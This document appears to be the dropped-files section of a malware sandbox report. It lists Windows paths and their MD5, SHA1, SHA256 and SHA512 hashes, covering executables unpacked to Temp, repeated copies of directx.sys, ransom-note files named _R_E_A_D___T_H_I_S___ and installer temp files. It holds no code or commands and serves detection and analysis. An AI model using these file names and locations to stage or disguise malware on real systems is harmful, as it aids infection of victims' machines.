MD5 599cf7f4d400bed6a7f4b7031c9187b7
SHA1 0bdb309686d1c83a340e613825c36e6eb7e05658
SHA256 85f5a52d049c61011d2815697512cfbf8b6314e96ddb2cb154e1e83cf90e5347
SHA512 6c015f153f7f9f47776d357c322e75cb6d3fe8b0da039eef6319af43bcfb1596e9d5611ad7516d53fe0d1315449eedf0add60164f989e19a891a7e5f3d5f0617

C:\Users\Admin\AppData\Local\Tempspwak.exe

MD5 d459ac27cda1076af5b93ba8a573b992
SHA1 429406da9817debfbadd91dc7aecb9a682d8d9da
SHA256 c458b39ee9dacfece49933e4ceaaeab376448d8d56eb503ea519a8df8323bccb
SHA512 3f4569a5a21564b6c54df889f58022c88c6c71d415ad9f9203ead1ed518a8886d2c31a0cd7980fa47874dc5ad12c4e2b9c6946d8d643f06583c2f4c77c20500a

C:\Windows\directx.sys

MD5 e08da1f05efb3b6d438640a92d92761c
SHA1 cd8f9ad002181ebf87a3625734498ddc4a50ec59
SHA256 b981c91e4a64e872ae4c83dc193e4a5b3007a36f2b9e24b065aae6105ebd8a52
SHA512 e4c128d705de71ab84d99894deba6e52b01a22d95186008febdffab21084ae3f4ea601bf610a4f94c717f68f00eb177a20b4008c91227671b7b08548a6b1067d

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\tuc6.exe

MD5 ec0f186d30f35da03c89f398d6acf775
SHA1 36b0badeb6c082813efa3e8b8354f116be1cd98a
SHA256 25a13cce15700ebbfcf7862f9b603d77285750479e8827c66b0b23a275ddb4f0
SHA512 76cb53cb3bfc21231dde69842bb1a27d645c72f34c6a58b6b059b2e4b6293857d4539f67d8df3474df4fa11179568571f3dc24cafbbb8b6d0108fb5658226ef7

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\ww.exe

MD5 3559a240f23e6ca2ee4a3545af6ee881
SHA1 9b9f8a974ee3eaa2cebbbcd666196a8d83bc3012
SHA256 445ca723f6c5b5e03b93060369723f46f22c6e4dc1d1b7ad2b9765d2460efcd5
SHA512 774887ea4eb1f967441dd1829a5ff98d87286759d25cc9b90fc84732559119d36ed91ead9826c442ff51fd495a396999bb1d203d214215683d0c20c110f677dd

C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\_R_E_A_D___T_H_I_S___SJYHCB_.txt

MD5 864c28140452e4cae72100af3553247a
SHA1 a977c567a77df554ab4971bcba4aae64e7844b3f
SHA256 30a269b0996fe3766f797fc7808a7d39d5042e21cf04c578112e411e305f2816
SHA512 8401bfe958aad07d0832d23d3137aba538e11a9a107588390bfe57b3284f4c6044a66c085b016dd59fbae6c568823ae2de17c312348510bcab99b9d7bc969dba

C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\_R_E_A_D___T_H_I_S___2CDN6X4H_.hta

MD5 94478220adfb7cd460e4217db007e858
SHA1 455f40f5e2ad6be02a104657bb934d9d9a93eb87
SHA256 329ee831202d0c751e18755569ad807cc3ca6f114e3538f485c57c8a43fed91d
SHA512 d161674b2d3c11764e360323edbf9a1ba3c5099b1ca014e7c7381e3c755bbc5fe3f0acb88a0683d8ffc6c89584e606a0bd85890cfe48e231afdfc742b060b7c7

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ay2j4kom.oct.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Users\Default\Desktop\@[email protected]

MD5 0cd78165c239290bbf41da6adc42d2e7
SHA1 7a72869e6809a63ddeaf4f370a7714bcadfe2e3d
SHA256 3c0120cbaac5c9037cf2417ed165d36bfbd2c9afb7e0f3986a77701706be99c5
SHA512 73d0e6daaeda6ba6f9d27fc4ed856d6486ed7093b2d5ee15bcd60782b9e0d4667457326e678e27bb1b61e380f0f7100013bccd3207ffc1b96733ddf6ed0edfe2

C:\Windows\directx.sys

MD5 e48dd15c2622de57f9d96167526aa29b
SHA1 227e44c82be64d3b54a0d237018a874ea16c6982
SHA256 b84d90ce79f74578bf032d5481e92435bb92dc5da421f090dacf3184478d0e60
SHA512 371d73f5ebbb28aa7ff462905c6176f35c817dc18bed35d06b6e68022c6887b871fcf655fd0190523ebf3a16818c8df3bb6479fb27aef2175fa0894105ec0aa0

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\ma.exe

MD5 7c167153a543c97ad45176cf041d3b26
SHA1 5454269242a72cdd8c59df051e061addaceb7760
SHA256 3ce5e79df67c8af441d1c57224dfba3617305a6e199c66b5c025d0ecca008024
SHA512 6a95bf2c28f1adfb186767cf8f5c44104c60cec4696cbba0cf2e5cdadb2f41c2214073f90ffdca2ab77c434462bdcdb3ff6757e5149b863835cf9a6e985075e8

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\w-12.exe

MD5 2f9014b3af2ab26aad31d1c45a7fe476
SHA1 251237d4682a1022e61531227432bed134e51bb7
SHA256 c88f1cbec2912cb4944778f123ab39822fcdb11938aac6f637c7021c246fe11c
SHA512 2ba98d1ac43ec549b6bcd58406e48a9252a55581bf8d8f1ff1a45f8fc689613176aef9073503b6898b0633cb1303980c05b0c41293c87a9351161956fb775734

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Files\Recorder.exe

MD5 a16c3e4711c591850a5fcc3f3ae8c4ea
SHA1 df54768371722578e17eba0f0dde0e637c49f03a
SHA256 7309ae709c50e41ae67fbfd96abcbf91d7a3b6341a8cae8b51b983cf64e94b09
SHA512 a22ec34d26e5acf3b78173617cec88a2e199e2ab4c93809b3d1acc5617e83b4478da31ba24ef912750213bf2972efd8e365c060c46bde939fc7ddf8fc53f3e5f

C:\Users\Admin\AppData\Roaming\Microsoft\Speech\Files\UserLexicons\SP_5F3FD35B9E704CD0987552999613EAAC.dat

MD5 c6fb73004da8163d502dde7bd4321437
SHA1 d64e9b92c957b54769953557fadf66ef7668ff4e
SHA256 b2a34375a22f299503e6e28b756fdb0cbc0792eabbdefaf58e66420e4ca71994
SHA512 bcccb7489caa09302e1c4f9df2be0ce9d7291a9d7af668afc8b9608c838a7c1bbd65f62a2f5fdf69395b7834c2cbb17c80e5d14649439a5038a21a8467e5fc22

C:\Windows\directx.sys

MD5 59c9e2a41f560931ec584bc78d3f2d8d
SHA1 ad2a1b1c986e14a642a2e5660fe3be6948a24e52
SHA256 e929029d1f12e4fe30a18f1378d98140d3e2a72913d62daf70d4579b76c58ee6
SHA512 b9e555ef225ddbf5be4fafb9bb31e9b8c8219565afa25ca7ee12f76c006f2be8f959d7bc8ed043d0224d7c2c4cb2fe2877263d924fc9a96340ca00219b59d80d

C:\Windows\directx.sys

MD5 10bae55cb28d51f71cf57ed9b6dcbe2c
SHA1 99690b71cbb9775ca7afc465b008a712b24b9495
SHA256 dba77772616e5b34025d71a301837e985c68ed3ef0a2151e1b64443478d6f440
SHA512 3f7f535f5eb799293c4cda3c739b81033a41e86f6dff6b158a4c13c913cc16a026c85464e988724c4c5800489d38b4fb03fdf02feb79fef657115325d956382a

C:\Users\Admin\AppData\Local\Temp\is-OFO7H.tmp\tuc2.tmp

MD5 eedd066eb1368226d6837c045682e3f1
SHA1 1c2c1afdc4ea68bf0816f3e360ee98ef12494fc5
SHA256 df7ba1d0568b4493622e7f40d7e254f3e1bbe3933ab10dc032123eee962c0e2f
SHA512 c34767c976f8ba154d31afd083f57d5894a8c365cfa104a54f50563aed0decf63492481f6a53d7d1e991c00c7553b8d9a5596e72c9b4e635675105d4a5c98873

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-I2CLH.tmp

MD5 a0e64c583c5c41f596905ed63b5689b0
SHA1 5341e53a490db3b16501b97f20e4ea5f813fd2d7
SHA256 1b43bcb6a34293a3f22e51c2a7dd46e3f588326f046c2e9fb36c8d3d0131c85c
SHA512 b20a848081f26696958784b861522a78c3f415b3c86ce7f848e8ce8877328fc53f7de62bb0f6accf9c01b95490d8fc89f822440f45011eea2f9afd6412252d95

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-UT7B0.tmp

MD5 62db384e1021a3fce7582dff92057767
SHA1 187ced3b397b81e617aba55756e22ab00fa4cb32
SHA256 8715c457778d9e416dbb755596b16dc65ba2f0d560b0b5b868841079b95f833a
SHA512 c7b05d2b8b1fed6395886f05489f7e0ef99c927e92b3b7924e4786563beac9d75de77c649564d1046057695d5d8e4e22a9e2a8e530c3104837e5bee695b065ef

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-P74MA.tmp

MD5 9ad241f876dcc41a2eec3a0947d12818
SHA1 d56b9f0f6518129ccff46d974c9fdd4125b3247d
SHA256 61b3559d566883777bbc75fd2d2d626c3b0d81b6383fcb2b7e5e29e26c506811
SHA512 b9c53007fd5e45968e1daf4e8abbfc1c14993e5a71525d3bbf4f1a189a0ed73460c0af569b704e447e1a8fe74b63888e15158e92db4c3052cf3fe89dfff6c966

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-30MBR.tmp

MD5 237d85c53f1da3c0032f68821a7b7048
SHA1 e844a4fa45f00402db600dbe9950c5bf5cef01e7
SHA256 12e99dae692e85aa7db381894f3cd144a010cec61348004661bc4b3352be6e08
SHA512 674d3ba5548ef9be8dee90b5469148b3524c708b3091f30d9c888c64fcb2d815b30893d7ca0fad25331029de8a78e42ec07d6f1062d416cb06b2097ede3df3c5

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-ECEOK.tmp

MD5 b1150a90ffc44eb26fcfb5d41e933ffc
SHA1 4713ed4dde7a6cfd3b04e1990724481d348a0c90
SHA256 85fef12e32a0ae1089f76f4dead00a061c78acf6971751ae00c16f9ea7ff7487
SHA512 11c9948e9b1a2c2a4abb0ff473d305a4bdfadaadf8a809680cae90cbd1cb8cd553fa158e8fc455866d619d1af0b0268de0fcb3847082fb3ef9987b0e8804928f

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-EIC31.tmp

MD5 b7edcc6cb01ace25ebd2555cf15473dc
SHA1 2627ff03833f74ed51a7f43c55d30b249b6a0707
SHA256 d6b4754bb67bdd08b97d5d11b2d7434997a371585a78fe77007149df3af8d09c
SHA512 962bd5c9fb510d57fac0c3b189b7adeb29e00bed60f0bb9d7e899601c06c2263eda976e64c352e4b7c0aaefb70d2fcb0abef45e43882089477881a303eb88c09

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-G4ATC.tmp

MD5 58b4d7bf6fd42cfada637fa03ada13ea
SHA1 00aa6290ebe7bc470a5de48b6c7738f44b7bcd85
SHA256 66931c301875e60fddc75d6b666ee862dbfea978c223f45d870e0bb8580a2780
SHA512 f7f76606188d50a822e6a0b0f66f70aec5eb782a4983d24609c0e5a1c33faebdccdbafdffcc3996e8edb2d31d3a99b1474c0dc1521a7cf365a98fa19b1dd5f6b

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-OAPIS.tmp

MD5 5163eef6d7ec058591506423417b0158
SHA1 45fbdc246843f5b7a604f17265f54d5e93305b9e
SHA256 32d445074d03b2dbf1f46bc4ae2b33c895060be260189d45a9afd91ad985177e
SHA512 776b9984e70d9da9f5f805dad5a64816e8d0f3ae0d3bd7a62ee2065dbc78ffce0b6b3fe0fe5bc1ac53480e9276df67b45fa27a7e285dce1b4d939d056e76c70b

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\plugins\internal\is-P760I.tmp

MD5 4662a21d9af38bb2538641a63e098ca4
SHA1 f6c478498dcae482622af407f143fdb8ee1a7a3d
SHA256 8724eb85533cb413f87beef9161633ecc56a3e32762eaca35ffbdffd22f86bb8
SHA512 d52507889f06f8db1ba60b49e7faafb7650e59c6b619cf9e1c7dafae1bcafcc64dc55fc6a31afd6ab4d602ed8a6f9def8dec8dabbe87fa6e9ef51271449ccdc6

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\plugins\internal\is-3DB1N.tmp

MD5 05f88ee5b7be33b8ce4ebc1164b30660
SHA1 8de9785055e5ffebf60ae9bad70956e0a269b092
SHA256 aa0e5660d10c51512632fd6d8a0edcbe55747b908ddf55568b6c9e1ddcd58f1e
SHA512 b2516385a42d07517ca38617af9dfff959c9bb2501eb99c8fc8e205297a7d0c375b9f26def39156c546e49e0cceba564cb9ccc8e611cba5dc8dc2bc542e68091

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-BSTK7.tmp

MD5 4e5f72d51792b6f91bada521dc746ce2
SHA1 b4941b56c6c95d7da0251d82e346e1fd0623b8ac
SHA256 ef0756c26b68229c90057657c39708a83fa32b112688fd1db360eed0b882ac04
SHA512 e0ec22129d72a86f1d45d6009af1a7cf23e660548b6eec8bca9a14f62813ec3fcd1bf2e1585e35edcb64dd1209812d5f39330d51e290841d46af085da4136241

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-3C38B.tmp

MD5 6c275892526136fec99adfcaf9e325b8
SHA1 138fc4a2e29707f42f28270e6b7f9ccda1097e72
SHA256 a2f44102972f6a15edff2ca4d68721898a8f658b0da477a674d4a6b060e65abe
SHA512 a656e4e162aac87948c018c00ec5bf994363f37aaeb8dcdb478e49d004167a770b9ef7c53b0a8559f60313cabfaa645fba70ab1b4b960955ca692dd3b9fcb3a5

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-0KA8J.tmp

MD5 b9ac2325b15adf75d9101d7ca9117e11
SHA1 25abbed1b47617c21f638b4bed3293e5b171535a
SHA256 f914953d374d29b9ef1bb338cc879dc742b8fa66ff7a33f1ae6456da2364c7c1
SHA512 99a019c54d3cf264f3a3f18ee9672c121ec468b80a5500c92bb926acde36bac878b939079115b86f0d5723240d424c406a8120f9091cdf7271a209a03e04e322

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\lessmsi\is-BP4AV.tmp

MD5 11ab652b936c0e9080a5d3cf6b993b38
SHA1 06cde1c78d18f17c1f3f051dadb3c326e5c1c6f3
SHA256 3b9cddf54367b9567c7824a2f8fa81698c03527bf550b2532b38be6f7c7bf376
SHA512 d826d6fa424baa6ee6a9aaff0ee8da8068c08fedef884d6b4b2cbb2374ec2a5e1c5728c129cf224bb432535dded411c9c3253c4f06942a649a192ba98a19668d

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-EQT2E.tmp

MD5 60df389af327f827d5a0b924f806cfd0
SHA1 e71d5b4e0299db52131d5f96cb77a110ebb6e6e6
SHA256 c3f0831f721c995a6f17cbd198d7a61c04feebcbc29e46f2a1a8433e890465c7
SHA512 a8f68cfe50c931bb06ccc5f60a972e1345e6362b58800b21f66993485c50a76709025f1b53e3fb595cb23a582d2497e86f99e38590d94e7f51ee3eefa44f6a84

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-D191M.tmp

MD5 966b008124cc8e7fe282334d2fe2c4cb
SHA1 f53b48e57c8882be884d04c4df69ecba48b41f13
SHA256 2c2fd1106905c3e5b83875fccab83a93f8fa4c23579cee805dabed657cd49075
SHA512 d817997a5873fb12f11693d4c99295ae488e5a730498720da7ddfd34096420183fb07db49983caf3819ddf087b9b52f196ebbac13491b938640e5738e748f67f

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-GUO26.tmp

MD5 d6130645a665bfe9010d9b561e58339b
SHA1 1f19d80e2ddd7a313e37cdccd505c32b70c82cad
SHA256 cc06b6a66dea57d8060bfe5a5f5017aa505c377fa9cb37781125e851f955e39d
SHA512 8d4fc738d6997dc24b3b8151416983f9032e57a16bffa80306c92fbb389e3658bd82663a75e694a066f43183119240487ff393ed6230cd933881cf112d8bccfd

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-UGJ15.tmp

MD5 6ad8b16978a9531820ba0fea77223e6e
SHA1 af09b3981940d9c478640cee0d610a4891cb55e0
SHA256 fa5fd12467a21811b1f5b06c88626adea16763dc31e649399a5650719f8c795e
SHA512 f3f94c62b24799b264e0740f26aeaa3a1b70ae53fbcd4e2fa30c3bd557bff17d7c648bb6592193445064b369a5e6c9220ae47bf0f788cf0b18907da5904e6b22

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-KI5RJ.tmp

MD5 1f3c1744f9ede61ac5dc46bc05533558
SHA1 a47ea3247b7a33a7c91190101a39eae23afa012d
SHA256 2852530a4641ad7eb9f0e379355951edce5749c24667f23473ea273799ac80d4
SHA512 a4a537bfb75266883f275b580ba1f6895acc83a701f4276ec417e8c05bc3900e3aa08546b2a7b5564a927002f8f18991b68172bbc4cbc947dee0c2476302a884

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-FBRBB.tmp

MD5 333131c03ce67aceb1c380460a6f6f8c
SHA1 5dc5629693a8f6bed7400f830b86e3c7f4379cef
SHA256 a5f1a1ac42476ea6a9fbbeccd7ef90f3393af9a444d3528612e7af961a93239d
SHA512 29f2c93c991a60dcc8f70590a94db96cd44bce826b78700bcd093817809d372ee9437cb6735c45f3d48cd63587d9c4dab9c464e37854ee5282753df96b192cf6

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-HV1J4.tmp

MD5 9d9a177543deb004435140c268c53394
SHA1 81df431828a2e6609f8077bef1d21cefbfb3c48b
SHA256 3ac19c278cdb2f383a57ab54bdd4d6cd5d3ac5bcb35e08671d8caf16ffdfa7be
SHA512 82795e5e83311549dbf64ef965751a9aca65fe09d3ac760d5ff9f1c7abd596bcb4c87493619951659e3277635d7a69dbf9d067095f2c28cecc2fdf134de419dd

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-6I814.tmp

MD5 1abc13febaf4b22115f3ca59b6e6b3fb
SHA1 fb66d3017972b3e0e911e1df89fe1f4a0acc498b
SHA256 b979adf20f614f380eea69352ba554ed41946a74809ed72831a7265d8357e1cb
SHA512 902e42ade78e3e019146cc28ae7595e26861353e84d77bdf1afbf3bae28f67c01f3df210bcbf140c5d15778ee9387452857aac08a6766e27c3ac18ae7d4ff823

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-RB12J.tmp

MD5 d33a2aaf23d08b623f7e813c757654f0
SHA1 af53c1608bf7a1b765eb68fec5d4dea64dddb295
SHA256 e17d3b71fc8ba527422749a5751c83000bf252b7264296f9731be82a4632e161
SHA512 e265d1f7fa97d9ceba5f93967b54270f889d203e3f2b4e3800426ca6327cde1418a46840542fd627fed200c4129f8c962a62590e0896c91911ea8272a9238f8a

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-VP97N.tmp

MD5 dbf46522156c22492cc62c2fcd9f940c
SHA1 57e0bf9e7e587ecfeb520510fd9049ed7e6ba4c9
SHA256 6dc4e0a8f2a185b5cacc199d04b3cbc51f88048470a33d7714c55206851a8c29
SHA512 b4cc60d68e0d4cbf267b6d46207c94cf1d5c9e4019e37a4d303b41662504608df5801bbb9e393c4a651c4668e7664c3e597562bb141d202428237985788574f7

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-GOMIG.tmp

MD5 b162992412e08888456ae13ba8bd3d90
SHA1 095fa02eb14fd4bd6ea06f112fdafe97522f9888
SHA256 2581a6bca6f4b307658b24a7584a6b300c91e32f2fe06eb1dca00adce60fa723
SHA512 078594de66f7e065dcb48da7c13a6a15f8516800d5cee14ba267f43dc73bc38779a4a4ed9444afdfa581523392cbe06b0241aa8ec0148e6bcea8e23b78486824

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-FCTML.tmp

MD5 73634192bc50ade84da1acae5b2a20a5
SHA1 bbc7197dbc7681fc8f16651927420a2d41a05edc
SHA256 23937e54723ea9ad62ffabf879c2ac78c7278f2b46d0e23b652d4a39ec087e53
SHA512 d0a8a7fdd554bced1d42db8eec217a45908718a22b001a1c6681d6db0b105cc00407177c94f4736cf9651a40b2ef54a19ee26e0e97f1f1801a8b45514f14e6dd

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-8L0T5.tmp

MD5 054db3f633c87dba3ca6cdb27c1c3f9b
SHA1 b4e312f721a3ffc38a68870b4226fb370bbfe2f1
SHA256 b694a62096edb4b2efea4b4599929b6f20a9033dd20400e0218b74638c464cf9
SHA512 17001f3b32f7952d77a9a5aad9005f934cb97deeb7fc4e7456010b0ad1a28d23b60d44615ee422dbcb9cc75811018bf84653d5a1363567394dee1ee2dc7e1df1

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-IPNB3.tmp

MD5 b3cc560ac7a5d1d266cb54e9a5a4767e
SHA1 e169e924405c2114022674256afc28fe493fbfdf
SHA256 edde733a8d2ca65c8b4865525290e55b703530c954f001e68d1b76b2a54edcb5
SHA512 a836decacb42cc3f7d42e2bf7a482ae066f5d1df08cccc466880391028059516847e1bf71e4c6a90d2d34016519d16981ddeeacfb94e166e4a9a720d9cc5d699

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-BI3B2.tmp

MD5 d1223f86edf0d5a2d32f1e2aaaf8ae3f
SHA1 c286ca29826a138f3e01a3d654b2f15e21dbe445
SHA256 e0e11a058c4b0add3892e0bea204f6f60a47afc86a21076036393607235b469c
SHA512 7ea1ffb23f8a850f5d3893c6bb66bf95fab2f10f236a781620e9dc6026f175aae824fd0e03082f0cf13d05d13a8eede4f5067491945fca82bbcdcf68a0109cff

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-4Q8LQ.tmp

MD5 130c8610f423590985a8276f7b0f4246
SHA1 7d2291bec716d0b70d8a505b54ef62b89d5c2fc7
SHA256 39d7774cf66d98e5a34e73a9a316a4928ab9805b80e9218c295124c00ecae2f8
SHA512 cbe5152bb3b363be76de05b0d873ee8f9016d2df48417a3c1707a7731ecf2be50c56b2a4b4ec9bbb760d8dbe32af9c352b463f236afd82920a3301246d53d957

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-AQH8K.tmp

MD5 bd7a443320af8c812e4c18d1b79df004
SHA1 37d2f1d62fec4da0caf06e5da21afc3521b597aa
SHA256 b634ab5640e258563c536e658cad87080553df6f34f62269a21d554844e58bfe
SHA512 21aef7129b5b70e3f9255b1ea4dc994bf48b8a7f42cd90748d71465738d934891bbec6c6fc6a1ccfaf7d3f35496677d62e2af346d5e8266f6a51ae21a65c4460

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-P7LEE.tmp

MD5 1268dea570a7511fdc8e70c1149f6743
SHA1 1d646fc69145ec6a4c0c9cad80626ad40f22e8cd
SHA256 f266dba7b23321bf963c8d8b1257a50e1467faaab9952ef7ffed1b6844616649
SHA512 e19f0ea39ff7aa11830af5aad53343288c742be22299c815c84d24251fa2643b1e0401af04e5f9b25cab29601ea56783522ddb06c4195c6a609804880bae9e9b

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-KSC72.tmp

MD5 beba64522aa8265751187e38d1fc0653
SHA1 63ffb566aa7b2242fcc91a67e0eda940c4596e8e
SHA256 8c58bc6c89772d0cd72c61e6cf982a3f51dee9aac946e076a0273cd3aaf3be9d
SHA512 13214e191c6d94db914835577c048adf2240c7335c0a2c2274c096114b7b75cd2ce13a76316963ccd55ee371631998fac678fcf82ae2ae178b7813b2c35c6651

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-7UH01.tmp

MD5 d59f7ed4e0e730a7be693f914150e74b
SHA1 d87ff95009908e25f1d0ef3d44570b04edad434a
SHA256 276b20a0e39e9410c913754ba3dad6d3e892443013291f5dc96441f163919d6f
SHA512 1f18fe139aba2e9ef38fe04988b1ec12531bd7c21a7581943ed43612308fc1490ffc30e74fc3fb79b9f1eae77237b7b881840718ff6424399e4b3fb3b1e71a07

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-60GCS.tmp

MD5 6c24751b54096602badd218ff47b319d
SHA1 bc754123eb6cf21f3a6c14127bdd0d9fd91b1c33
SHA256 a13a3a1b0717bd3ea817c40b9836fc087c1dc0bfd90caf6bd6c88eb9e040bbd1
SHA512 ac9d43f7405a3847b34c54037e361254ab2f4601f7d5128d0632eb1532c63586e66b503e40fc1371fffe7fd48ecf58771376d9aeaa67a3900d49510c1320f5ae

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-EBR5G.tmp

MD5 7b52be6d702aa590db57a0e135f81c45
SHA1 518fb84c77e547dd73c335d2090a35537111f837
SHA256 9b5a8b323d2d1209a5696eaf521669886f028ce1ecdbb49d1610c09a22746330
SHA512 79c1959a689bdc29b63ca771f7e1ab6ff960552cadf0644a7c25c31775fe3458884821a0130b1bab425c3b41f1c680d4776dd5311ce3939775a39143c873a6fe

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-EUV5S.tmp

MD5 5fbee9924daaf3abb895195b1e51a8b4
SHA1 2029e8effbcdfa5e438fe8865bb28f50b8cf1528
SHA256 5361295d4afac284291e286c337e193a3661dbacfdf63db8fa5c0dbc08df423a
SHA512 3a7516413bb9f2b30718a2f247bf52f702ac906f6ec33aa42d7733440cef2663946c892f54b5179ece2b7909789f996128004d6e892116c6eaa94abb0bbcadd8

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-5D6E0.tmp

MD5 8ee91149989d50dfcf9dad00df87c9b0
SHA1 e5581e6c1334a78e493539f8ea1ce585c9ffaf89
SHA256 3030e22f4a854e11a8aa2128991e4867ca1df33bc7b9aff76a5e6deef56927f6
SHA512 fa04e8524da444dd91e4bd682cc9adee445259e0c6190a7def82b8c4478a78aaa8049337079ad01f7984dba28316d72445a0f0d876f268a062ad9b8ff2a6e58d

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\bassflac.dll

MD5 9ff783bb73f8868fa6599cde65ed21d7
SHA1 f515f91d62d36dc64adaa06fa0ef6cf769376bdf
SHA256 e0234af5f71592c472439536e710ba8105d62dfa68722965df87fed50bab1816
SHA512 c9d3c3502601026b6d55a91c583e0bb607bfc695409b984c0561d0cbe7d4f8bd231bc614e0ec1621c287bf0f207017d3e041694320e692ff00bc2220bfa26c26

C:\Users\Admin\AppData\Local\Send Reports Form\bin\x86\is-M796U.tmp

MD5 9940d5bfaab6522ec05bf77ae9564835
SHA1 6e5fd45e4fe5a6466d7019a7b563fec64e4ee386
SHA256 faf462906a9be664ef697765816484865de5b50fae96b701a7e11f03d36f33e4
SHA512 c20d423c7602e805f1eb199355001c11162060d0b52d4b1a82d11ffffeace7df20ce13573bf223c3b5f57fc63e4a12f005e090244585215f29f069f655f2e437